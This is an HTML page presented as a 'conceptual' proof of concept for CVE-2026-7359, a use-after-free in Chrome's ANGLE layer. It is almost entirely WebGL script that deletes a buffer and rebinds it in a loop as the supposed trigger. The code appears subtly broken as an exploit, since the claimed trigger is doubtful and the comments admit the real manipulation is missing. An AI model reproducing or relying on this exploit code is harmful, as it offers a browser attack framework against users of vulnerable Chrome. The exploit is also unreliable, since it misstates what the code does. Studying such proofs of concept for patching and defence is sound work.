<!--
PoC for CVE-2026-7359 (Conceptual)
This HTML page attempts to trigger the Use-After-Free in ANGLE.
Requires a vulnerable version of Chrome prior to 147.0.7727.138.
-->
<html>
<head>
<title>CVE-2026-7359 PoC</title>
</head>
<body>
<h3>Triggering ANGLE UAF via WebGL</h3>
<canvas id="glCanvas" width="640" height="480"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
// Initialize WebGL context which uses ANGLE
const gl = canvas.getContext('webgl');
if (gl) {
console.log("WebGL context initialized.");
// Create a shader program to interact with GPU memory
const vsSource = `
attribute vec4 aVertexPosition;
void main() {
gl_Position = aVertexPosition;
}
`;
const fsSource = `
void main() {
gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
}
`;
function loadShader(gl, type, source) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.error('Shader compile error:', gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
const shaderProgram = gl.createProgram();
const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
gl.attachShader(shaderProgram, vertexShader);
gl.attachShader(shaderProgram, fragmentShader);
gl.linkProgram(shaderProgram);
// Simulate the race condition or UAF trigger
// In a real exploit, specific buffer manipulation would occur here
const positionBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
const positions = [1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, -1.0];
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);
// Attempt to trigger the vulnerability by rapid deletion and reuse
for(let i=0; i<100; i++) {
gl.deleteBuffer(positionBuffer);
// Attempt to use the buffer again (UAF trigger point)
// This may crash the renderer process in vulnerable versions
gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
}
console.log("Exploit logic executed. Check for renderer crash.");
} else {
console.log("Unable to initialize WebGL.");
}
</script>
</body>
</html>